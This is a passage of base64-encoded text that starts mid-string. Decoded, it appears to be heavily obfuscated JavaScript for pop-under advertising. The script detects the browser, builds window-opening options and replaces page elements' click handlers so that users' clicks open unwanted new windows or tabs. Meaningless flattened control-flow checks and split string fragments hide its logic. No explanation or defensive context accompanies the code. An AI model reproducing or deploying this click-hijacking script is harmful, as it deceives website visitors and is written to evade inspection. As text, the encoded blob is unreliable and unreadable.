mb3IodmFyIE4xPTE7dzUuZDEoTjEudG9TdHJpbmcoKSxOMS50b1N0cmluZygpLmxlbmd0aCw1NTI1MSkhPT1KMTtOMSsrKXtyZXR1cm4gZHJbQWNdKGRyW01uXSgpKihlLXQpKSt0O0IxKz0yO31pZih3NS5kMShCMS50b1N0cmluZygpLEIxLnRvU3RyaW5nKCkubGVuZ3RoLDI4MzUxKSE9PVgxKXtyZXR1cm4gZHJbQWNdKGRyW01uXSgpJShlL3QpKSV0O319LFE6ZnVuY3Rpb24odCl7dmFyIGUsaSxuO3c1Llk0KDgpO2U9dzUuYzQodHlwZW9mIHQsYXIpO2k9dDt3NS5vNCg0KTtuPXJpW1VzK0dyK0NhXSh3NS51NChTbixHcix1bykpO25bTHMrR3IrU24rR3IrQ2FdKGdzLGd1LGd1LHksMCwwLDAsMCwwLGd1LHl1LHl1LGd1LDAsbXUpO2V8fChpPVpjLnooVSx7aHJlZjp0fHxpZStWdCtyYStQZStqbytWZStHcit1aStkZSt1citKYStUdCtJbytSK0dyK1ArR3IrZXIrR3IrdWkrR3IrUGUrZGUrdXIrR3J9KSxyaVtRcl1bSXQrR3IrV2VdKGkpKTtpW2duK0dyK0NhXShuKTtlfHxaYy5QKGkpO30sejpmdW5jdGlvbih0LGUsaSl7dmFyIG4scjtyPXJpW1VzK0dyK0NuXSh0KTtmb3IobiBpbiBlKXt5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXShlLG4pJiZyW2xpK0dyK0dpXShuLGVbbl0pO31yZXR1cm4gaSYmKHJbUGErR3IrYWkrR3IreGMrR3IrenQrR3IrcGFdPWkpLHI7fSxZOmZ1bmN0aW9uKCl7dHJ5e3c1Lm80KDQpO3JldHVybiEhT3VbdzUuYzQoZW4sUGUsTWMpXVt3NS51NCgkaSxHcixXcyldO31jYXRjaCh0KXtyZXR1cm4geXU7fX0sbDpmdW5jdGlvbih0KXt2YXIgZSxpLFk3LGY3LHM3O2U9WmMuXyh0KTt3NS5ZNCg0KTtpPXRbWl0oQWEsdzUudTQoR3Isem8scSkpO3RyeXtZNz0tMTYzMTA2MDI3MDtmNz0xOTgxNTM2MDYxO3M3PTI7Zm9yKHZhciBXNz0xO3c1LkwxKFc3LnRvU3RyaW5nKCksVzcudG9TdHJpbmcoKS5sZW5ndGgsMTYwMikhPT1ZNztXNysrKXtyZXR1cm4rbmV3IFVyKChacy9ZZS1HcikvIGkveHIsUnMpW2lyXShlW1hzJUdyL2hdKCkpO3M3Kz0yO31pZih3NS5MMShzNy50b1N0cmluZygpLHM3LnRvU3RyaW5nKCkubGVuZ3RoLDExNjM3KSE9PWY3KXtyZXR1cm4hbmV3IFVyKFpzK1llK0dyK2kreHIsUnMpW2lyXShlW1hzK0dyK2hdKCkpO319Y2F0Y2godCl7cmV0dXJuIHRbWHMrR3IraF0oKVtMK0dyK1dhXShrbytZZStycytZZStVK1llK1pzKT4tMT9ndTpYYy5kP2d1Onl1O319LHY6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHIsbzt3NS5vNCg0KTtlPXlbdzUuYzQoUGEsR3IsZyldO3c1Llk0KDQpO2k9eVt3NS5jNChQYSxHcix3YyldO249eVtPaStHcitVZV18fHlbT2krR3IrV25dfHwwO3I9eVtPaStHcit4b118fHlbT2krR3IrQ2NdfHwwO289e307cmV0dXJuIG9bb2NdPWUsb1tLYV09aSxvW0hpXT1uLG9bcF09cixvW29yXT0wLG9bRWldPTEsb1tTcl09MSxvW09yXT0xLG8ucmVzaXphYmxlPTEsb1tNZV09MSxYYy5iJiYob1tLYV0rPVhjLm0/NDY6NTIpLFhjLmcmJihvW29jXS09NSxvW0thXS09NCksdHlwZW9mIHQ9PT1hciYmKG89WmMueShvLHQpKSxvO30sTzpmdW5jdGlvbih0KXt2YXIgZTtlPXJpW1VzK0dyK0NuXShjbik7cmV0dXJuIGVbeGVdW3h0XT1YaSx0JiZyaVtRcl1bSXQrR3IrV2VdKGUpLGU7fSxEOmZ1bmN0aW9uKHQpe3JldHVybiB0W1NjK0dyK21jXT09PUZjK0dyK1ZyK0dyK3hjK0dyK3hjK0dyK2ZjK0dyK2d0fHx0W1NjK0dyK21jXT09PXZhK0dyK2d0K0dyK210K0dyK1ZyK0dyK3hjJiZVbltpcl0odFthYStHcitHaV0oTykpfHx0aGlzLkIodCxGYytHcitWcitHcit4YytHcit4YytHcitmYytHcitndCkhPT15dTt9LFA6ZnVuY3Rpb24odCl7dCYmdFtfdCtHcitpXSYmdFtfdCtHcitpXVt4bitHcitXZV0odCk7fSxJOmZ1bmN0aW9uKHQsZSl7dmFyIG4scixvO2lmKHR5cGVvZiBlIT09VGMpe3JldHVybiB5dTt9aWYodHlwZW9mIHJpW2VlK0dyK3Z0K0dyK21dPT09WnMpdHJ5e3I9dFtfdCtHcitpXVtlZStHcit2dCtHcittXShlKXx8eS5qUXVlcnkoZSk7fWNhdGNoKHQpe31lbHNlIGlmKFpjLkEoKSl0cnl7cj15LmpRdWVyeShlKTt9Y2F0Y2godCl7fWlmKHIpZm9yKG89MDtvPHJbcGldO28rKylpZihyW29dPT09dCl7cmV0dXJuIGd1O31zd2l0Y2goZVswXSl7Y2FzZSBHcitUdCtHcjpuPVtsbyxlW2ZzXSgxKV07YnJlYWs7Y2FzZSBHcitzZStHcjpuPVtWYSxlW2ZzXSgxKV07fXJldHVybiBuP3RoaXMuVyh0LG5bMF0sblsxXSk6eXU7fSxmOmZ1bmN0aW9uKHQsZSl7dHJ5e3JldHVybiEoIXRba2ldW2VdfHwhdFtraV1bZV1bWW5dKTt9Y2F0Y2godCl7cmV0dXJuIHl1O319LE46ZnVuY3Rpb24odCl7dmFyIGU7ZT10aGlzLlIodCk7cmV0dXJuIGUmJmVbdW5dJiYheHNbaXJdKGVbdW5dKT9lW3VuXTp5dTt9LEo6ZnVuY3Rpb24odCxlLGksbil7Zm9yKHZhciByLG8scyxhPXRbWHMrR3IraF0oKVtDcl0obnx8R3IrVHQrR3IpLGM9ZVtYcytHcitoXSgpW0NyXShufHxHcitUdCtHciksdT0wLGY9ZHJbQm9dKGFbcGldLGNbcGldKTt1PGYmJihyPVVjKGFbdV18fDAsMTApLG89VWMoY1t1XXx8MCwxMCkscWMocikmJihyPTApLHFjKG8pJiYobz0wKSxzPXI+bz8xOi0xLHI9PT1vKTt1Kyspe3M9MDt9c3dpdGNoKGkpe2Nhc2UgR3IrdXIrR3I6dzUubzQoOCk7cmV0dXJuIHc1LnU0KDEscyk7Y2FzZSBHcit1citHcitldCtHcjp3NS5ZNCg5KTtyZXR1cm4gdzUuYzQocywxKTtjYXNlIEdyK3VpK0dyOnc1Lm80KDEwKTtyZXR1cm4gdzUuYzQoMSxzKTtjYXNlIEdyK3VpK0dyK2V0K0dyOnc1Llk0KDExKTtyZXR1cm4gdzUuYzQoMSxzKTtjYXNlIEdyK2V0K0dyK2V0K0dyOmNhc2UgR3IrZXQrR3IrZXQrR3IrZXQrR3I6ZGVmYXVsdDp3NS5ZNCg4KTtyZXR1cm4gdzUudTQoMCxzKTt9fSwkOmZ1bmN0aW9uKHQpe2Zvcih2YXIgZT1wZVtDcl0oR3IpLGk9ZVtwaV0sbj0wLHI9R3I7bjx0O24rKyl7cis9ZVtkcltBY10oZHJbTW5dKCkqaSldO31yZXR1cm4gcjt9LGg6ZnVuY3Rpb24odCxlKXt0cnl7cmV0dXJuIHRbYWErR3IrR2ldKGUpO31jYXRjaCh0KXtyZXR1cm4geXU7fX0sSDpmdW5jdGlvbih0LGUsaSl7dmFyIG47dzUubzQoMik7bj13NS5jNChoaSx0KTtyZXR1cm4gdHlwZW9mIHlbbl0hPT1nZSYmcm8oeVtuXSkseVtuXT1pbyhlLGkpO30sdzpmdW5jdGlvbigpe3JldHVybiBQdTt9LFU6ZnVuY3Rpb24odCl7cmV0dXJuIHRbU2MrR3IrbWNdPT09dmErR3IrZ3QrR3IrbXQrR3IrVnIrR3IreGMmJm5lW2lyXSh0W2FhK0dyK0dpXShPKSl8fHRbU2MrR3IrbWNdPT09cGErR3IrT24rR3IrRmMrR3IrUHMrR3IrcGE7fX07aXU9e3R0OmZ1bmN0aW9uKHQsZSl7dmFyIGkscTUsbTUsQTU7dHJ5e3E1PS0xNDE1MjczNDIzO201PS0zMzc1MDc5MjY7QTU9Mjtmb3IodmFyIEs1PTE7dzUuZDEoSzUudG9TdHJpbmcoKSxLNS50b1N0cmluZygpLmxlbmd0aCwzNzU1NSkhPT1xNTtLNSsrKXtyZXR1cm4gZXx8KGk9cmlbKHdyLUdyKSVqbipHcipMY10odFtIYyVHci9VZV0sdFtIYy9Hci14b10pKT9pOnRbVGldJiZ0W1hzLUdyLUNuXSYmdFsoWHItR3IpJUNuXTtBNSs9Mjt9aWYodzUuTDEoQTUudG9TdHJpbmcoKSxBNS50b1N0cmluZygpLmxlbmd0aCw3MjUzNikhPT1tNSl7cmV0dXJuIGUmJihpPXJpW3dyK0dyK2puK0dyK0xjXSh0W0hjK0dyK1VlXSx0W0hjK0dyK3hvXSkpP2k6dFtUaV18fHRbWHMrR3IrQ25dfHx0W1hyK0dyK0NuXTt9fWNhdGNoKHQpe3JldHVybiB5dTt9fSxYOmZ1bmN0aW9uKHQsZSxpLG4pe3JldHVybiB0eXBlb2YgdFtIbitHcitDYStHcitFbl09PT1acz90W0huK0dyK0NhK0dyK0VuXShlLGksbnx8e30pOnRbRmUrR3IrQ2FdKE5vK2UsaSk7fSxLOmZ1bmN0aW9uKHQsZSxpLG4pe3ZhciByO3I9ZnVuY3Rpb24oKXtpdS5aKHQsZSxyLG4pO2lbQ2ldKCk7fTtpdS5YKHQsZSxyLG4pO30sWjpmdW5jdGlvbih0LGUsaSxuKXtyZXR1cm4gdHlwZW9mIHRbeG4rR3IrQ2ErR3IrRW5dPT09WnM/dFt4bitHcitDYStHcitFbl0oZSxpLG58fHt9KTp0W0tpK0dyK0NhXShObytlLGkpO319OyEoWGM9e2l0OmZhW2lyXSh2dSksbnQ6c3RbaXJdKHZ1KSxtOmxlW2lyXSh2dSksZXQ6YWNbaXJdKHZ1KSxydDpTb1tpcl0odnUpLG90OnNpW2lyXSh2dSl8fEpyW2lyXSh2dSl8fHVlW2lyXSh2dVtmc10oMCw0KSksc3Q6dm9baXJdKHZ1KSxnOkFyW2lyXSh2dSkmJiFfYVtpcl0odnUpLGI6bHJbaXJdKHZ1KSYmIW1hW2lyXSh2dSksYXQ6bWVbaXJdKHZ1KSYmIWdyW2lyXSh2dSksY3Q6eFtpcl0odnUpLGQ6Rltpcl0odnUpLHV0OnlvW2lyXSh2dSksX3Q6bXUscHQ6WmMucShndSl8fG11LGx0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuX3QhPT1tdT90aGlzLl90OnRoaXMuX3Q9UWMuZHQoKSE9PXl1O30sSjpmdW5jdGlvbih0LGUpe3JldHVybiBaYy5KKFhjLmZ0LGUsdCk7fSxodDptb1tpcl0odnUpJiYhenJbaXJdKHZ1KSxmdDpaYy5xKHl1KXx8bXV9KS5ldHx8WGMuaHR8fFhjLmR8fFhjLmJ8fChYYy51dD1vNSk7KFljPWZ1bmN0aW9uKHQsZSxpKXt2YXIgbjtuPWl8fHt9O25bel09ZTt0aGlzLnZ0KG4pO3RoaXMubXQuYnR8fCh0aGlzLm10LmJ0PXJ1K3QpO3RoaXMuZ3QoKTt9KVtYdF09e2t0OntUdDpndSxDdDptdSxqdDp5dSxFdDpHcitQZStHcixGdDprdSxMdDpndSxBdDp5dSxPdDpndSx4dDptdSxQdDpudWxsLGJ0Om11LHd0Om11LFN0Omt1fSxtdDp7fSx5dDpudWxsLHp0OlpjLnYoKSxCdDpaYy5wKFtbT3IsMF1dKSxJdDpaYy5wKFtbTWUsMV1dKSxNdDpaYy5wKFtbU3IsMV1dKSxXdDpaYy5wKFtbRWksMF0sW1NyLDBdXSksRHQ6WmMucChbW01lLDBdXSksVXQ6WmMucChbW1p0LDBdXSksUnQ6WmMucChbW0VpLDBdXSksc2V0T3B0aW9uczpmdW5jdGlvbih0KXtyZXR1cm4gdGhpcy52dCh0KTt9LGd0OmZ1bmN0aW9uKCl7dmFyIHQsZSxpLG47dD1mdW5jdGlvbih0LGUpe3ZhciBpLG47bj17fTtuW3B1XT1beXUsZ3VdO25bX3VdPVt5dSx5dV07bltsdV09W2d1LGd1XTtuW2R1XT1bZ3UseXVdO2ZvcihpIGluIG4paWYoeWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0obixpKSYmbltpXVswXT09PXQmJm5baV1bMV09PT1lKXtyZXR1cm4gaTt9cmV0dXJuIF91O307ZT1YYy5sdCgpO2k9dChHYy5tdC4kdC5uZXdUYWIsR2MubXQuJHQudW5kZXIpO249dCh0aGlzLm10LkF0LHRoaXMubXQuVHQpO2V8fG49PT1wdSYmKG49aSk9PT1wdSYmKG49bHUpO1hjLm90JiYobj09PV91JiYobj1kdSksbj09PXB1JiYobj1sdSkpO3RoaXMueXQ9bjt9LEh0OmZ1bmN0aW9uKCl7dmFyIGswLG4wLEYwO2lmKHR5cGVvZiB0aGlzLm10Lnh0PT09WnMpdHJ5e3JldHVybiB0aGlzLm10Lnh0W0NpXSh0aGlzLHRoaXMubXQpW1hzK0dyK2hdKCk7fWNhdGNoKHQpe3JldHVybiBLYy5lKHQpLHl1O31rMD0tMTAwMjA0NzAxMztuMD0tMTY1MTM4NjMwNztGMD0yO2Zvcih2YXIgTTA9MTt3NS5MMShNMC50b1N0cmluZygpLE0wLnRvU3RyaW5nKCkubGVuZ3RoLDY4NDExKSE9PWswO00wKyspe3JldHVybiB0aGlzLm10Lnh0O0YwKz0yO31pZih3NS5kMShGMC50b1N0cmluZygpLEYwLnRvU3RyaW5nKCkubGVuZ3RoLDkwOTM5KSE9PW4wKXtyZXR1cm4gdGhpcy5tdC54dDt9fSxMdDpmdW5jdGlvbigpe3ZhciB0LGUsRzcsQzcsazcsVjAsdTAseTA7dD10aGlzLm10O2U9dC5PdCE9PU5zJiZ0Lk90IT09TmV8fHQuT3Q9PT1OcyYmWGMub3R8fHQuT3Q9PT1OZSYmIVhjLm90O3RyeXtHNz0tMTkzODMwODU3MjtDNz0tMTE3NzY0NDk2NDtrNz0yO2Zvcih2YXIgRjc9MTt3NS5kMShGNy50b1N0cmluZygpLEY3LnRvU3RyaW5nKCkubGVuZ3RoLDg5NDI0KSE9PUc3O0Y3Kyspe3R5cGVvZiB0Lkx0PT09WnM/ZT1lJiZ0Lkx0W0NpXSh0aGlzLGUsdGhpcy5OdCgpKSE9PXl1OnR5cGVvZiB0Lkx0PT09YW4mJihlPWUmJnQuTHQpO2s3Kz0yO31pZih3NS5MMShrNy50b1N0cmluZygpLGs3LnRvU3RyaW5nKCkubGVuZ3RoLDUzNDE4KSE9PUM3KXstdC5MdCE9PVpzP2U9ZXx8dC5MdFtDaV0odGhpcyxlLHRoaXMuTnQoKSk9PT15dTohdC5MdD09YW58fChlPWV8fHQuTHQpO319Y2F0Y2godCl7S2MuZSh0KTt9VjA9Njg3MDAyMDA4O3UwPS0yOTc1OTkyODc7eTA9Mjtmb3IodmFyIHYwPTE7dzUuTDEodjAudG9TdHJpbmcoKSx2MC50b1N0cmluZygpLmxlbmd0aCw2NDU0MSkhPT1WMDt2MCsrKXtyZXR1cm4gR2MuSnQoKT9lfHwtdGhpcy5WdDplfHwrdHUuYyh0LmJ0KTt5MCs9Mjt9aWYodzUuTDEoeTAudG9TdHJpbmcoKSx5MC50b1N0cmluZygpLmxlbmd0aCwyOTMyNSkhPT11MCl7cmV0dXJuIEdjLkp0KCk/ZXx8LXRoaXMuVnQ6ZXx8K3R1LmModC5idCk7fXJldHVybiBHYy5KdCgpP2UmJiF0aGlzLlZ0OmUmJiF0dS5jKHQuYnQpO30sdnQ6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHI7dGhpcy5tdD1aYy55KHRoaXMuenQsdGhpcy5rdCx0aGlzLm10LHR8fHt9KTtmb3IoaSBpbiB0aGlzLm10KWlmKHlpW1h0XVtCYStHcitsdCtHcitvb11bQ2ldKHRoaXMubXQsaSkpc3dpdGNoKG49dGhpcy5tdFtpXSxpKXtjYXNlIHNvOnRoaXMubXQud3Q9bjticmVhaztjYXNlIHo6dGhpcy5tdC54dD1uO2JyZWFrO2Nhc2UgTGU6dGhpcy5tdC5PdD0obitHcilbWHMrR3IrdHMrR3IrbmNdKCk7YnJlYWs7Y2FzZSBOdCtHcittYzp0aGlzLm10LmJ0PW47YnJlYWs7Y2FzZSBOdCtHcitUOnRoaXMubXQuQ3Q9bjticmVhaztjYXNlIE50K0dyK2VhOnRoaXMubXQuRXQ9bjticmVhaztjYXNlIE50K0dyKyRzOnRoaXMubXQuUHQ9bjticmVhaztjYXNlIEVlOnRoaXMubXQuVHQ9bjticmVhaztjYXNlIEErR3IrTG86dGhpcy5tdC5BdD1uO2JyZWFrO2Nhc2UgcHQrR3IramU6dGhpcy5tdC5GdD1uO2JyZWFrO2Nhc2UgamErR3IramU6dGhpcy5tdC5TdD1uO2JyZWFrO2Nhc2UgSWMrR3IrY3I6dGhpcy5tdC5qdD1uO2JyZWFrO2Nhc2UgdGUrR3Irc3M6dGhpcy5tdC5MdD1uO31pZighWGMub3QmJiF0aGlzLm10LkF0KWZvcihyPVtbWGMuZyYmMTE9PT1YYy5wdCx0aGlzLlV0XSxbWGMuYiYmWGMucHQ8NDEsdGhpcy5JdF0sW1hjLmIsdGhpcy5CdF0sW1hjLmQmJlhjLnB0PDQ3LHRoaXMuTXRdLFtYYy51dCx0aGlzLkR0XSxbWGMuY3QsdGhpcy5SdF0sW1hjLmImJlhjLnB0Pj01OSx0aGlzLld0XSxbWGMudXQmJlhjLnB0Pj00Nix0aGlzLld0XV0sZT0wO2U8cltwaV07ZSsrKWlmKHJbZV1bMF0pZm9yKGkgaW4gcltlXVsxXSl7eWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0ocltlXVsxXSxpKSYmKHRoaXMubXRbaV09cltlXVsxXVtpXSk7fX0sZ2V0T3B0aW9uczpmdW5jdGlvbigpe3JldHVybiB0aGlzLk50KCk7fSxOdDpmdW5jdGlvbigpe3ZhciB0LGU7ZT17fTtmb3IodCBpbiB0aGlzLm10KXt5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXSh0aGlzLm10LHQpJiZ0W3BpXT49MyYmKGVbdF09dGhpcy5tdFt0XSk7fXJldHVybiBlO30scXQ6ZnVuY3Rpb24oKXtHYy5KdCgpP3RoaXMuVnQ9Z3U6dHUuYSh0aGlzLm10LmJ0LDEsdGhpcy5tdC5DdCx0aGlzLm10LkV0LHRoaXMubXQuUHQpO319OyhudT1mdW5jdGlvbih0KXt2YXIgZTtlPXRoaXM7dGhpcy5RdD10O3RoaXMuR3Q9dGhpcy5ZdCgpO3RoaXMuS3Q9dGhpcy5adCgpO2l1LlgodGhpcy5HdCxncyxmdW5jdGlvbigpe0dzKGUuS3QpO1pjLlAoZS5HdCk7fSk7fSlbWHRdPXtZdDpmdW5jdGlvbigpe3ZhciB0LEs3LHI3LFE3O0s3PS0xODIwMzgxMDU7cjc9MTk5MDM1MjYxMTtRNz0yO2Zvcih2YXIgajc9MTt3NS5kMShqNy50b1N0cmluZygpLGo3LnRvU3RyaW5nKCkubGVuZ3RoLDg2ODQwKSE9PUs3O2o3Kyspe3Q9WmMueihoYyx7Y2xhc3M6ZnV9LEdyKTtyZXR1cm4gdGhpcy5RdFtTYytHcittY11bWHMrR3IrdHMrR3IrbmNdKCk9PT1Rcj9yaVtRcl1bSXQrR3IrV2VdKHQpOnRoaXMuUXRbX3QrR3IraV1bTmMrR3IrT3NdKHQsdGhpcy5RdFtWcytHcitrc10pLHQ7UTcrPTI7fWlmKHc1LkwxKFE3LnRvU3RyaW5nKCksUTcudG9TdHJpbmcoKS5sZW5ndGgsMzM0MykhPT1yNyl7dD1aYy56KGhjLHtjbGFzczpmdX0sR3IpO3JldHVybiB0aGlzLlF0W1NjKkdyL21jXVtYcypHci10cy1Hci1uY10oKT09UXI/cmlbUXJdW0l0L0dyL1dlXSh0KTp0aGlzLlF0W190L0dyJWldWyhOYy1HcikqT3NdKHQsdGhpcy5RdFsoVnMtR3IpJWtzXSksdDt9fSxadDpmdW5jdGlvbigpe3ZhciB0O3Q9dGhpcztyZXR1cm4gQ28oZnVuY3Rpb24oKXt2YXIgZSxpO2k9VWModC5RdFt4ZV1bc24rR3IrenNdLDEwKTt0LlF0W1NjK0dyK21jXVtYcytHcit0cytHcituY10oKT09PVFyJiYoaT05ZTkpOyhlPV9uK1Z0K2dvK2VyK0RhK1Z0K04rZXIrbG4rVnQraytlcitHcisoS2ErVnQrR3IpK3QuUXRbZnIrR3Ird2NdKyhobytlcitHcikrKG9jK1Z0K0dyKSt0LlF0W2ZyK0dyK2ddKyhobytlcitHcikrKEhpK1Z0K0dyKSt0LlF0W2ZyK0dyK1duXSsoaG8rZXIrR3IpKyhwK1Z0K0dyKSt0LlF0W2ZyK0dyK0NjXSsoaG8rZXIrR3IpKyhzbit3aStMK1Z0K0dyKSsocWMoaSk/MjppKzEpKSE9PXQuR3RbYWErR3IrR2ldKHhlKSYmdC5HdFtsaStHcitHaV0oeGUsZSk7fSwxNTApO319O251Llh0PWZ1bmN0aW9uKHQpe3ZhciBlO3c1Llk0KDEyKTtlPXc1LmM0KHJ1LExpLHdpLHdpLEdyLGllLEdyKTt0W2FhK0dyK0dpXShlKXx8dFthYStHcitHaV0obG8pPT09ZnV8fCh0W2xpK0dyK0dpXShlLDEpLG5ldyBudSh0KSk7fTsoUWM9e2R0OmZ1bmN0aW9uKCl7dmFyIHQsZTtlPXRoaXMuZWUoKTtmb3IodD0wO3Q8ZVtwaV07dCsrKWlmKGVbdF1bMV0oKT09PWd1KXtyZXR1cm4gZVt0XVswXTt9cmV0dXJuIHl1O30sZWU6ZnVuY3Rpb24oKXt2YXIgdDt0PVtdO3JldHVybiBYYy5vdHx8WGMuaXQ/W106KHRbTXJdKFt0aGlzLmllLGZ1bmN0aW9uKCl7cmV0dXJuIFhjLmImJlhjLnB0Pj02NCYmWGMucHQ8Njc7fV0pLHRbTXJdKFt0aGlzLm5lLGZ1bmN0aW9uKCl7cmV0dXJuIFhjLmImJlpjLlkoKSYmWGMubnQmJlhjLnB0Pj00MyYmWGMucHQ8NjQ7fV0pLHRbTXJdKFt0aGlzLnJlLGZ1bmN0aW9uKCl7dmFyIGI3LHE3LG03O2I3PS02MDMwNTI0OTU7cTc9LTQwNjg3OTgwNDttNz0yO2Zvcih2YXIgSTc9MTt3NS5MMShJNy50b1N0cmluZygpLEk3LnRvU3RyaW5nKCkubGVuZ3RoLDU1NDM5KSE9PWI3O0k3Kyspe3JldHVybiBYYy5ifHxaYy5ZKCl8fFhjLm18fFhjLnB0PD0xN3x8WGMucHQ+PTg5O203Kz0yO31pZih3NS5MMShtNy50b1N0cmluZygpLG03LnRvU3RyaW5nKCkubGVuZ3RoLDYyMDk0KSE9PXE3KXtyZXR1cm4gWGMuYnx8WmMuWSgpfHxYYy5tfHxYYy5wdDw9MTd8fFhjLnB0Pj04OTt9cmV0dXJuIFhjLmImJlpjLlkoKSYmWGMubSYmWGMucHQ+PTQ5JiZYYy5wdDw2NDt9XSksdFtNcl0oW3RoaXMub2UsZnVuY3Rpb24oKXtyZXR1cm4gWGMuZDt9XSksdFtNcl0oW3RoaXMuc2UsZnVuY3Rpb24oKXtyZXR1cm4gWGMuZyYmWGMucHQ+PTExO31dKSx0W01yXShbdGhpcy5hZSxmdW5jdGlvbigpe3JldHVybiBYYy5odDt9XSksdFtNcl0oW3RoaXMuY2UsZnVuY3Rpb24oKXt2YXIgVDAsRTAsbzA7VDA9MTIwNjMzNjEyMTtFMD0xMjk2MjQyMjUyO28wPTI7Zm9yKHZhciBwMD0xO3c1LmQxKHAwLnRvU3RyaW5nKCkscDAudG9TdHJpbmcoKS5sZW5ndGgsNDUyNzYpIT09VDA7cDArKyl7cmV0dXJuIFhjLnV0fHxYYy5udHx8WGMucHQ+PTc0O28wKz0yO31pZih3NS5MMShvMC50b1N0cmluZygpLG8wLnRvU3RyaW5nKCkubGVuZ3RoLDY1MzgpIT09RTApe3JldHVybiBYYy51dCYmWGMubnQmJlhjLnB0PD00ODt9fV0pLHQpO319KS50ZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMudGVbWHRdPXtfZTprdSx1ZTpmdW5jdGlvbih0KXt2YXIgcjUsUTUsZTU7cjU9LTk1ODI4OTMwMTtRNT0tNjIxNDQ4NDIyO2U1PTI7Zm9yKHZhciBaNT0xO3c1LmQxKFo1LnRvU3RyaW5nKCksWjUudG9TdHJpbmcoKS5sZW5ndGgsOTUyNjgpIT09cjU7WjUrKyl7dGhpcy5mZT10O2U1Kz0yO31pZih3NS5MMShlNS50b1N0cmluZygpLGU1LnRvU3RyaW5nKCkubGVuZ3RoLDE0MzU1KSE9PVE1KXt0aGlzLmZlPXQ7fX0sbGU6a3UscGU6ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG8scyxhO2k9dGhpcztuPWkuZmU7cj1uLkh0KCk7bz1uLm10O3M9by53dHx8WmMuJCg1KTthPVpjLmsobyk7aWYodD1mdW5jdGlvbigpe3RyeXtpZih0eXBlb2Ygby5GdD09PVpzJiZvLkZ0W0NpXShuLHIsbyk9PT15dSl7cmV0dXJuIHl1O319Y2F0Y2godCl7S2MuZSh0KTt9cmV0dXJuIG11O30sZT1mdW5jdGlvbih0KXtpZih0eXBlb2Ygby5TdD09PVpzKXRyeXtvLlN0W0NpXShuLHIsbyx0KTt9Y2F0Y2godCl7S2MuZSh0KTt9fSx0KCk9PT15dSl7cmV0dXJuIHl1O310eXBlb2Ygb1t6XT09PVRjJiZvW3pdIT09ciYmKHI9b1t6XSk7R2MuanQoby5qdCk7dGhpcy5fZSgpO3RyeXtyZXR1cm4gdGhpcy5sZShyLG8scyxhLGZ1bmN0aW9uKHQpe2kuZGUodCk7aS5oZSYmR2MuaGUoKTtlKHQpO30pO31jYXRjaCh0KXtyZXR1cm4gS2MuZSh0KSx5dTt9fSx2ZTpmdW5jdGlvbih0LGUsaSl7cmV0dXJuKEdjLm10LmJlP1pjLkM6QXUpKHQsZSxpKTt9LGRlOmt1LGhlOmd1fTtRYy5tZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMubWVbWHRdPVpjLnkoUWMudGVbWHRdLHtoZTp5dSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3IodGhpcy52ZSh0LGksbikpO319KTtRYy5nZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMuZ2VbWHRdPVpjLnkoUWMudGVbWHRdLHtoZTohWGMub3QmJiFYYy5kLGxlOmZ1bmN0aW9uKHQsZSxpLG4scil7cih0aGlzLnZlKHQsRmkpKTt9fSk7UWMueWU9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLnllW1h0XT1aYy55KFFjLnRlW1h0XSx7a2U6ZnVuY3Rpb24oKXt2YXIgdCxlLGk7dD1HYy53ZSgpO2U9R2MueGUuUztpPXR5cGVvZiBHYy5tdC5PZT09PVpzP0djLm10Lk9lW0NpXSgpOkdjLm10Lk9lO3JldHVybiBmdW5jdGlvbigpe3ZhciBuLHI7cmV0dXJuIGkhPT1GdT9pOihuPVpjLiQoMSkscj1lP2k6R2MuQ2UodCl8fGksZXUucygpfHwhWGMub3QmJiFYYy5nP3I6KHR1LmEoY3UsbixtdSkscltaXSh2cixHcikrKEdyK3NlK0dyKStuKSk7fSgpO30sbGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgeDksejksaDksbyxzLGEsYyx1LGgsZixwO3g5PTE3MTA2NjI4Nzg7ejk9LTEwMzk3MjE3MTM7aDk9Mjtmb3IodmFyIEw5PTE7dzUuZDEoTDkudG9TdHJpbmcoKSxMOS50b1N0cmluZygpLmxlbmd0aCwzMDE4NykhPT14OTtMOSsrKXtoOSs9Mjt9aWYodzUuZDEoaDkudG9TdHJpbmcoKSxoOS50b1N0cmluZygpLmxlbmd0aCw0NTQ4MCkhPT16OSl7fWE9dGhpcy5rZSgpO2M9R2Mud2UoKTt1PVpjLk4oYyk7aD0xNTtmPVtdO3A9ZnVuY3Rpb24odCl7dmFyIGU7dHlwZW9mIHRbQW5dPT09WnMmJihlPXRbQW5dLGl1LlgodCxncyxlKSk7dFtBbl09ZnVuY3Rpb24oKXtyZXR1cm4geXU7fTt9O2ZvcihHYy5FZSgpLGMmJmNbU2MrR3IrbWNdPT09T24mJmNbYWErR3IrR2ldKFRpKSE9PUZpJiZaYy5mKGMsdW4pJiYocChjKSwwIT09Y1thYStHcitHaV0odW4pW0wrR3IrV2FdKEN0KSYmKGE9Y1thYStHcitHaV0odW4pKT09PUdyJiYoYT1GdSkpLGMmJmNbU2MrR3IrbWNdPT09T24mJmNbYWErR3IrR2ldKFRpKT09PUZpJiZaYy5mKGMsdW4pJiYocChjKSxpbyhmdW5jdGlvbigpe2NbQW5dPW11O30sM2UzKSxHYy5tdC5QZT9hPWNbYWErR3IrR2ldKHVuKTooYT1GdSxYYy5vdCYmKFhjLnV0P2ZbTXJdKGZ1bmN0aW9uKCl7QXUoY1thYStHcitHaV0odW4pLEZpKTt9KTppbyhmdW5jdGlvbigpe0F1KGNbYWErR3IrR2ldKHVuKSxGaSk7fSwyMCkpKSksWGMuZXQmJlhjLnV0fHxYYy5ldCYmWGMuc3QmJiFYYy5kJiYhWGMuYiYmIVhjLmh0PyhBdShhLEZpKSxaYy5IKEJyLGZ1bmN0aW9uKCl7WmMuVCh0KTt9LGgpKTohWGMub3QmJlpjLmgoYyxUaSkhPT1GaSYmKFhjLnV0JiZYYy5zd